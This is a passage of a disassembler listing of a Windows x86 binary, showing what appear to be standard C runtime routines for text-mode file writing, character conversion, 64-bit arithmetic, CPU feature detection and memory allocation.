		cmp	[ebp+518h+var_56D], 0
		jz	loc_416EA5

loc_416CF3:				; CODE XREF: sub_416BBA+12Dj
		call	ds:off_41E100
		and	[ebp+518h+var_568], 0
		cmp	[ebp+518h+arg_8], 0
		mov	esi, [ebp+518h+var_57C]
		mov	[ebp+518h+var_594], eax
		mov	[ebp+518h+var_58C], esi
		jbe	loc_417112
		and	[ebp+518h+var_574], 0
		jmp	short loc_416D1C
; ---------------------------------------------------------------------------

loc_416D19:				; CODE XREF: sub_416BBA+2E0j
		mov	esi, [ebp+518h+var_58C]

loc_416D1C:				; CODE XREF: sub_416BBA+15Dj
		mov	al, [ebp+518h+var_56D]
		test	al, al
		jnz	loc_416E2D
		mov	al, [esi]
		xor	ecx, ecx
		cmp	al, 0Ah
		setz	cl
		movsx	eax, al
		push	eax
		mov	[ebp+518h+var_590], ecx
		call	sub_416796
		test	eax, eax
		pop	ecx
		jnz	short loc_416D5B
		push	1
		lea	eax, [ebp+518h+var_56C]
		push	esi
		push	eax
		call	sub_41909C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_417108
		jmp	short loc_416D8B
; ---------------------------------------------------------------------------

loc_416D5B:				; CODE XREF: sub_416BBA+185j
		mov	eax, [ebp+518h+var_57C]
		sub	eax, esi
		add	eax, [ebp+518h+arg_8]
		cmp	eax, 1
		jbe	loc_417108
		push	2
		lea	eax, [ebp+518h+var_56C]
		push	esi
		push	eax
		call	sub_41909C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_417108
		inc	esi
		inc	[ebp+518h+var_574]

loc_416D8B:				; CODE XREF: sub_416BBA+19Fj
		xor	eax, eax
		push	eax
		push	eax
		push	5
		lea	ecx, [ebp+518h+var_C]
		push	ecx
		push	1
		lea	ecx, [ebp+518h+var_56C]
		push	ecx
		push	eax
		push	[ebp+518h+var_594]
		inc	esi
		inc	[ebp+518h+var_574]
		mov	[ebp+518h+var_58C], esi
		call	ds:dword_41E120	; WideCharToMultiByte
		mov	esi, eax
		test	esi, esi
		jz	loc_417108
		push	0
		lea	eax, [ebp+518h+var_568]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_C]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	ds:off_41E078
		test	eax, eax
		jz	loc_4170FF
		mov	eax, [ebp+518h+var_568]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_417108
		cmp	[ebp+518h+var_590], 0
		jz	loc_416E91
		push	0
		lea	eax, [ebp+518h+var_568]
		push	eax
		push	1
		lea	eax, [ebp+518h+var_C]
		push	eax
		mov	eax, [edi]
		mov	[ebp+518h+var_C], 0Dh
		push	dword ptr [ebx+eax]
		call	ds:off_41E078
		test	eax, eax
		jz	loc_4170FF
		cmp	[ebp+518h+var_568], 1
		jl	loc_417108
		inc	[ebp+518h+var_580]
		inc	[ebp+518h+var_578]
		jmp	short loc_416E91
; ---------------------------------------------------------------------------

loc_416E2D:				; CODE XREF: sub_416BBA+167j
		cmp	al, 1
		jz	short loc_416E35
		cmp	al, 2
		jnz	short loc_416E50

loc_416E35:				; CODE XREF: sub_416BBA+275j
		movzx	ecx, word ptr [esi]
		xor	edx, edx
		cmp	cx, 0Ah
		setz	dl
		inc	esi
		inc	esi
		add	[ebp+518h+var_574], 2
		mov	[ebp+518h+var_56C], ecx
		mov	[ebp+518h+var_58C], esi
		mov	[ebp+518h+var_590], edx

loc_416E50:				; CODE XREF: sub_416BBA+279j
		cmp	al, 1
		jz	short loc_416E58
		cmp	al, 2
		jnz	short loc_416E91

loc_416E58:				; CODE XREF: sub_416BBA+298j
		push	[ebp+518h+var_56C]
		call	sub_419FEC
		cmp	ax, word ptr [ebp+518h+var_56C]
		pop	ecx
		jnz	loc_4170FF
		inc	[ebp+518h+var_578]
		cmp	[ebp+518h+var_590], 0
		jz	short loc_416E91
		push	0Dh
		pop	eax
		push	eax
		mov	[ebp+518h+var_56C], eax
		call	sub_419FEC
		cmp	ax, word ptr [ebp+518h+var_56C]
		pop	ecx
		jnz	loc_4170FF
		inc	[ebp+518h+var_578]
		inc	[ebp+518h+var_580]

loc_416E91:				; CODE XREF: sub_416BBA+232j
					; sub_416BBA+271j ...
		mov	eax, [ebp+518h+arg_8]
		cmp	[ebp+518h+var_574], eax
		jb	loc_416D19
		jmp	loc_417108
; ---------------------------------------------------------------------------

loc_416EA5:				; CODE XREF: sub_416BBA+EFj
					; sub_416BBA+FCj ...
		mov	eax, [edi]
		add	eax, ebx
		test	byte ptr [eax+4], 80h
		jz	loc_4170D8
		mov	eax, [ebp+518h+var_57C]
		xor	esi, esi
		cmp	[ebp+518h+var_56D], 0
		mov	[ebp+518h+var_56C], esi
		jnz	loc_416F56
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_568], eax
		jbe	loc_417139

loc_416ED4:				; CODE XREF: sub_416BBA+395j
		mov	ecx, [ebp+518h+var_568]
		and	[ebp+518h+var_574], 0
		sub	ecx, [ebp+518h+var_57C]
		lea	eax, [ebp+518h+var_564]

loc_416EE1:				; CODE XREF: sub_416BBA+354j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_416F10
		mov	edx, [ebp+518h+var_568]
		inc	[ebp+518h+var_568]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_416F01
		inc	[ebp+518h+var_580]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	[ebp+518h+var_574]

loc_416F01:				; CODE XREF: sub_416BBA+33Bj
		mov	[eax], dl
		inc	eax
		inc	[ebp+518h+var_574]
		cmp	[ebp+518h+var_574], 400h
		jb	short loc_416EE1

loc_416F10:				; CODE XREF: sub_416BBA+32Dj
		mov	esi, eax
		lea	eax, [ebp+518h+var_564]
		sub	esi, eax
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_564]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	ds:off_41E078
		test	eax, eax
		jz	loc_4170FF
		mov	eax, [ebp+518h+var_584]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_417108
		mov	eax, [ebp+518h+var_568]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		jb	short loc_416ED4
		jmp	loc_417108
; ---------------------------------------------------------------------------

loc_416F56:				; CODE XREF: sub_416BBA+305j
		cmp	[ebp+518h+var_56D], 2
		jnz	loc_416FFD
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_568], eax
		jbe	loc_417139

loc_416F6F:				; CODE XREF: sub_416BBA+438j
		mov	ecx, [ebp+518h+var_568]
		xor	esi, esi
		sub	ecx, [ebp+518h+var_57C]
		lea	eax, [ebp+518h+var_564]

loc_416F7A:				; CODE XREF: sub_416BBA+3F7j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_416FB3
		mov	edx, [ebp+518h+var_568]
		add	[ebp+518h+var_568], 2
		movzx	edx, word ptr [edx]
		inc	ecx
		inc	ecx
		cmp	dx, 0Ah
		jnz	short loc_416FA1
		add	[ebp+518h+var_580], 2
		mov	word ptr [eax],	0Dh
		inc	eax
		inc	eax
		inc	esi
		inc	esi

loc_416FA1:				; CODE XREF: sub_416BBA+3D8j
		mov	edi, [ebp+518h+var_588]
		mov	[eax], dx
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		cmp	esi, 3FFh
		jb	short loc_416F7A

loc_416FB3:				; CODE XREF: sub_416BBA+3C6j
		mov	esi, eax
		lea	eax, [ebp+518h+var_564]
		sub	esi, eax
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_564]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	ds:off_41E078
		test	eax, eax
		jz	loc_4170FF
		mov	eax, [ebp+518h+var_584]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_417108
		mov	eax, [ebp+518h+var_568]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		jb	loc_416F6F
		jmp	loc_417108
; ---------------------------------------------------------------------------

loc_416FFD:				; CODE XREF: sub_416BBA+3A0j
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_574], eax
		jbe	loc_417139

loc_41700C:				; CODE XREF: sub_416BBA+516j
		mov	ecx, [ebp+518h+var_574]
		and	[ebp+518h+var_568], 0
		sub	ecx, [ebp+518h+var_57C]
		push	2
		lea	eax, [ebp+518h+var_160]
		pop	esi

loc_41701F:				; CODE XREF: sub_416BBA+497j
		cmp	ecx, [ebp+518h+arg_8]
		jnb	short loc_417053
		mov	edx, [ebp+518h+var_574]
		movzx	edx, word ptr [edx]
		add	[ebp+518h+var_574], esi
		add	ecx, esi
		cmp	dx, 0Ah
		jnz	short loc_417042
		mov	word ptr [eax],	0Dh
		add	eax, esi
		add	[ebp+518h+var_568], esi

loc_417042:				; CODE XREF: sub_416BBA+47Cj
		add	[ebp+518h+var_568], esi
		mov	[eax], dx
		add	eax, esi
		cmp	[ebp+518h+var_568], 152h
		jb	short loc_41701F

loc_417053:				; CODE XREF: sub_416BBA+46Bj
		xor	esi, esi
		push	esi
		push	esi
		push	2ABh
		lea	ecx, [ebp+518h+var_410]
		push	ecx
		lea	ecx, [ebp+518h+var_160]
		sub	eax, ecx
		cdq
		sub	eax, edx
		sar	eax, 1
		push	eax
		mov	eax, ecx
		push	eax
		push	esi
		push	0FDE9h
		call	ds:dword_41E120	; WideCharToMultiByte
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_4170FF

loc_417086:				; CODE XREF: sub_416BBA+4F6j
		push	0
		lea	eax, [ebp+518h+var_584]
		push	eax
		mov	eax, edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+esi+518h+var_410]
		push	eax
		mov	eax, [ebp+518h+var_588]
		mov	eax, [eax]
		push	dword ptr [ebx+eax]
		call	ds:off_41E078
		test	eax, eax
		jz	short loc_4170B4
		add	esi, [ebp+518h+var_584]
		cmp	edi, esi
		jg	short loc_417086
		jmp	short loc_4170BD
; ---------------------------------------------------------------------------

loc_4170B4:				; CODE XREF: sub_416BBA+4EFj
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		mov	[ebp+518h+var_56C], eax

loc_4170BD:				; CODE XREF: sub_416BBA+4F8j
		cmp	edi, esi
		jg	short loc_417108
		mov	eax, [ebp+518h+var_574]
		sub	eax, [ebp+518h+var_57C]
		cmp	eax, [ebp+518h+arg_8]
		mov	[ebp+518h+var_578], eax
		jb	loc_41700C
		jmp	short loc_417108
; ---------------------------------------------------------------------------

loc_4170D8:				; CODE XREF: sub_416BBA+2F3j
		push	0
		lea	ecx, [ebp+518h+var_584]
		push	ecx
		push	[ebp+518h+arg_8]
		push	[ebp+518h+var_57C]
		push	dword ptr [eax]
		call	ds:off_41E078
		test	eax, eax
		jz	short loc_4170FF
		mov	eax, [ebp+518h+var_584]
		and	[ebp+518h+var_56C], 0
		mov	[ebp+518h+var_578], eax
		jmp	short loc_417108
; ---------------------------------------------------------------------------

loc_4170FF:				; CODE XREF: sub_416BBA+21Aj
					; sub_416BBA+25Bj ...
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		mov	[ebp+518h+var_56C], eax

loc_417108:				; CODE XREF: sub_416BBA+199j
					; sub_416BBA+1AFj ...
		mov	eax, [ebp+518h+var_578]
		test	eax, eax
		jnz	short loc_417165
		mov	edi, [ebp+518h+var_588]

loc_417112:				; CODE XREF: sub_416BBA+153j
		xor	esi, esi
		cmp	[ebp+518h+var_56C], esi
		jz	short loc_417139
		push	5
		pop	esi
		cmp	[ebp+518h+var_56C], esi
		jnz	short loc_41712E
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		jmp	short loc_417159
; ---------------------------------------------------------------------------

loc_41712E:				; CODE XREF: sub_416BBA+565j
		push	[ebp+518h+var_56C]
		call	sub_40F7FA
		pop	ecx
		jmp	short loc_417160
; ---------------------------------------------------------------------------

loc_417139:				; CODE XREF: sub_416BBA+314j
					; sub_416BBA+3AFj ...
		mov	eax, [edi]
		test	byte ptr [ebx+eax+4], 40h
		jz	short loc_41714E
		mov	eax, [ebp+518h+var_57C]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_41714E
		xor	eax, eax
		jmp	short loc_417168
; ---------------------------------------------------------------------------

loc_41714E:				; CODE XREF: sub_416BBA+586j
					; sub_416BBA+58Ej
		call	sub_40F7D4
		mov	dword ptr [eax], 1Ch

loc_417159:				; CODE XREF: sub_416BBA+572j
		call	sub_40F7E7
		mov	[eax], esi

loc_417160:				; CODE XREF: sub_416BBA+CCj
					; sub_416BBA+57Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_417168
; ---------------------------------------------------------------------------

loc_417165:				; CODE XREF: sub_416BBA+553j
		sub	eax, [ebp+518h+var_580]

loc_417168:				; CODE XREF: sub_416BBA+592j
					; sub_416BBA+5A9j
		pop	edi
		pop	ebx

loc_41716A:				; CODE XREF: sub_416BBA+37j
					; sub_416BBA+62j
		mov	ecx, [ebp+518h+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_40AB4A
		add	ebp, 518h
		leave
		retn
sub_416BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417180	proc near		; CODE XREF: sub_4107D6+CBp
					; sub_4107D6+13Ap ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset dword_421D98
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_4171AF
		call	sub_40F7E7
		and	dword ptr [eax], 0
		call	sub_40F7D4
		mov	dword ptr [eax], 9

loc_4171A7:				; CODE XREF: sub_417180+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_41724C
; ---------------------------------------------------------------------------

loc_4171AF:				; CODE XREF: sub_417180+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_4171BD
		cmp	eax, dword_433BE4
		jb	short loc_4171DE

loc_4171BD:				; CODE XREF: sub_417180+33j
					; sub_417180+7Cj
		call	sub_40F7E7
		mov	[eax], edi
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h
		jmp	short loc_4171A7
; ---------------------------------------------------------------------------

loc_4171DE:				; CODE XREF: sub_417180+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:433C00h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_4171BD
		push	eax
		call	sub_4189BA
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_417227
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416BBA
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_41723D
; ---------------------------------------------------------------------------

loc_417227:				; CODE XREF: sub_417180+8Fj
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		call	sub_40F7E7
		mov	[eax], edi
		or	[ebp+var_1C], 0FFFFFFFFh

loc_41723D:				; CODE XREF: sub_417180+A5j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_417252
		mov	eax, [ebp+var_1C]

loc_41724C:				; CODE XREF: sub_417180+2Aj
		call	__SEH_epilog4
		retn
sub_417180	endp


; =============== S U B	R O U T	I N E =======================================



sub_417252	proc near		; CODE XREF: sub_417180+C4p
					; DATA XREF: r69pu5ti:00421DB0o
		push	dword ptr [ebp+8]
		call	sub_418A5A
		pop	ecx
		retn
sub_417252	endp


; =============== S U B	R O U T	I N E =======================================



sub_41725C	proc near		; CODE XREF: sub_4107D6+9Cp
					; sub_413A04+58p ...

arg_0		= dword	ptr  4

		inc	dword_426048
		push	1000h
		call	sub_41183A
		test	eax, eax
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx+8], eax
		jz	short loc_417285
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_417296
; ---------------------------------------------------------------------------

loc_417285:				; CODE XREF: sub_41725C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_417296:				; CODE XREF: sub_41725C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41725C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4172A0	proc near		; CODE XREF: sub_4107D6+91p
					; sub_41239F+Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_4172B7
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4172B7:				; CODE XREF: sub_4172A0+7j
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jl	short loc_4172C6
		cmp	eax, dword_433BE4
		jb	short loc_4172E2

loc_4172C6:				; CODE XREF: sub_4172A0+1Cj
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 9
		call	sub_40CB08
		add	esp, 14h
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4172E2:				; CODE XREF: sub_4172A0+24j
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_433C00[ecx*4]
		movzx	eax, byte ptr [ecx+eax+4]
		and	eax, 40h
		pop	esi
		retn
sub_4172A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4172FE	proc near		; CODE XREF: sub_411A79:loc_411A9Cp
		push	esi
		push	edi
		xor	edi, edi

loc_417302:				; CODE XREF: sub_4172FE+1Aj
		lea	esi, off_423F60[edi]
		push	dword ptr [esi]
		call	sub_40F128
		add	edi, 4
		cmp	edi, 28h
		pop	ecx
		mov	[esi], eax
		jb	short loc_417302
		pop	edi
		pop	esi
		retn
sub_4172FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41731D	proc near		; CODE XREF: sub_4109D7+554p
		mov	eax, dword_423068
		or	eax, 1
		xor	ecx, ecx
		cmp	dword_4264A0, eax
		setz	cl
		mov	eax, ecx
		retn
sub_41731D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417333	proc near		; CODE XREF: sub_417492+12p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	edi, [ebp+arg_8]
		jnz	short loc_417359
		cmp	edi, ebx
		jbe	short loc_417359
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417355
		mov	[eax], ebx

loc_417355:				; CODE XREF: sub_417333+1Ej
					; sub_417333+ECj ...
		xor	eax, eax
		jmp	short loc_4173D8
; ---------------------------------------------------------------------------

loc_417359:				; CODE XREF: sub_417333+13j
					; sub_417333+17j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417363
		or	dword ptr [eax], 0FFFFFFFFh

loc_417363:				; CODE XREF: sub_417333+2Bj
		cmp	edi, 7FFFFFFFh
		jbe	short loc_417386
		call	sub_40F7D4
		push	16h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40CB08
		add	esp, 14h

loc_417382:				; CODE XREF: sub_417333+CCj
					; sub_417333+D5j
		mov	eax, esi
		jmp	short loc_4173D8
; ---------------------------------------------------------------------------

loc_417386:				; CODE XREF: sub_417333+36j
		push	[ebp+arg_10]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	loc_417431
		mov	ax, [ebp+arg_C]
		cmp	ax, 0FFh
		jbe	short loc_4173DD
		cmp	esi, ebx
		jz	short loc_4173BA
		cmp	edi, ebx
		jbe	short loc_4173BA
		push	edi
		push	ebx
		push	esi
		call	sub_40C6F0
		add	esp, 0Ch

loc_4173BA:				; CODE XREF: sub_417333+76j
					; sub_417333+7Aj ...
		call	sub_40F7D4
		mov	dword ptr [eax], 2Ah
		call	sub_40F7D4
		cmp	[ebp+var_4], bl
		mov	eax, [eax]
		jz	short loc_4173D8
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_4173D8:				; CODE XREF: sub_417333+24j
					; sub_417333+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4173DD:				; CODE XREF: sub_417333+72j
		cmp	esi, ebx
		jz	short loc_41740F
		cmp	edi, ebx
		ja	short loc_41740D

loc_4173E5:				; CODE XREF: sub_417333+141j
					; sub_417333+149j ...
		call	sub_40F7D4
		push	22h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_417382
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh
		jmp	loc_417382
; ---------------------------------------------------------------------------

loc_41740D:				; CODE XREF: sub_417333+B0j
		mov	[esi], al

loc_41740F:				; CODE XREF: sub_417333+ACj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41741C
		mov	dword ptr [eax], 1

loc_41741C:				; CODE XREF: sub_417333+E1j
					; sub_417333+12Aj ...
		cmp	[ebp+var_4], bl
		jz	loc_417355
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh
		jmp	loc_417355
; ---------------------------------------------------------------------------

loc_417431:				; CODE XREF: sub_417333+64j
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	ebx
		push	edi
		push	esi
		push	1
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	ebx
		mov	[ebp+arg_4], ebx
		push	dword ptr [eax+4]
		call	ds:dword_41E120	; WideCharToMultiByte
		cmp	eax, ebx
		jz	short loc_417463
		cmp	[ebp+arg_4], ebx
		jnz	loc_4173BA
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41741C
		mov	[ecx], eax
		jmp	short loc_41741C
; ---------------------------------------------------------------------------

loc_417463:				; CODE XREF: sub_417333+11Aj
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jnz	loc_4173BA
		cmp	esi, ebx
		jz	loc_4173E5
		cmp	edi, ebx
		jbe	loc_4173E5
		push	edi
		push	ebx
		push	esi
		call	sub_40C6F0
		add	esp, 0Ch
		jmp	loc_4173E5
sub_417333	endp


; =============== S U B	R O U T	I N E =======================================



sub_417492	proc near		; CODE XREF: sub_4109D7+487p
					; sub_4109D7+8B1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	0
		push	[esp+4+arg_C]
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_417333
		add	esp, 14h
		retn
sub_417492	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4174B0	proc near		; CODE XREF: sub_4109D7+786p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4174E1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_417528
; ---------------------------------------------------------------------------

loc_4174E1:				; CODE XREF: sub_4174B0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_4174EF:				; CODE XREF: sub_4174B0+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4174EF
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41751D
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41751D
		jb	short loc_417526
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_417526

loc_41751D:				; CODE XREF: sub_4174B0+5Dj
					; sub_4174B0+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_417526:				; CODE XREF: sub_4174B0+65j
					; sub_4174B0+6Bj
		xor	ebx, ebx

loc_417528:				; CODE XREF: sub_4174B0+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_4174B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417545	proc near		; CODE XREF: sub_417595+4Dp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_421DB8
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		movapd	xmm0, xmm1
		mov	[ebp+var_1C], 1
		jmp	short loc_417585
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0C0000005h
		jz	short loc_41757A
		cmp	eax, 0C000001Dh
		jz	short loc_41757A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41757A:				; CODE XREF: sub_417545+29j
					; sub_417545+30j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+var_1C], 0

loc_417585:				; CODE XREF: sub_417545+1Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_417545	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417595	proc near		; CODE XREF: sub_411455+7p sub_4175F5p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		xor	eax, eax
		push	ebx
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		push	ebx
		pushf
		pop	eax
		mov	ecx, eax
		xor	eax, 200000h
		push	eax
		popf
		pushf
		pop	edx
		sub	edx, ecx
		jz	short loc_4175D8
		push	ecx
		popf
		xor	eax, eax
		cpuid
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	eax, 1
		cpuid
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax

loc_4175D8:				; CODE XREF: sub_417595+22j
		pop	ebx
		test	[ebp+var_4], 4000000h
		jz	short loc_4175F0
		call	sub_417545
		test	eax, eax
		jz	short loc_4175F0
		xor	eax, eax
		inc	eax
		jmp	short loc_4175F2
; ---------------------------------------------------------------------------

loc_4175F0:				; CODE XREF: sub_417595+4Bj
					; sub_417595+54j
		xor	eax, eax

loc_4175F2:				; CODE XREF: sub_417595+59j
		pop	ebx
		leave
		retn
sub_417595	endp


; =============== S U B	R O U T	I N E =======================================



sub_4175F5	proc near		; DATA XREF: r69pu5ti:0041E2C0o
		call	sub_417595
		mov	dword_434D40, eax
		xor	eax, eax
		retn
sub_4175F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417602	proc near		; CODE XREF: sub_41187A+Ep

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00417707 SIZE 00000019 BYTES

		push	0Ch
		push	offset dword_421DD8
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		xor	edi, edi
		cmp	ecx, edi
		jbe	short loc_417645
		push	0FFFFFFE0h
		pop	eax
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_4]
		sbb	eax, eax
		inc	eax
		jnz	short loc_417645
		call	sub_40F7D4
		mov	dword ptr [eax], 0Ch
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h

loc_41763E:				; CODE XREF: sub_417602+E6j
					; sub_417602+F2j
		xor	eax, eax
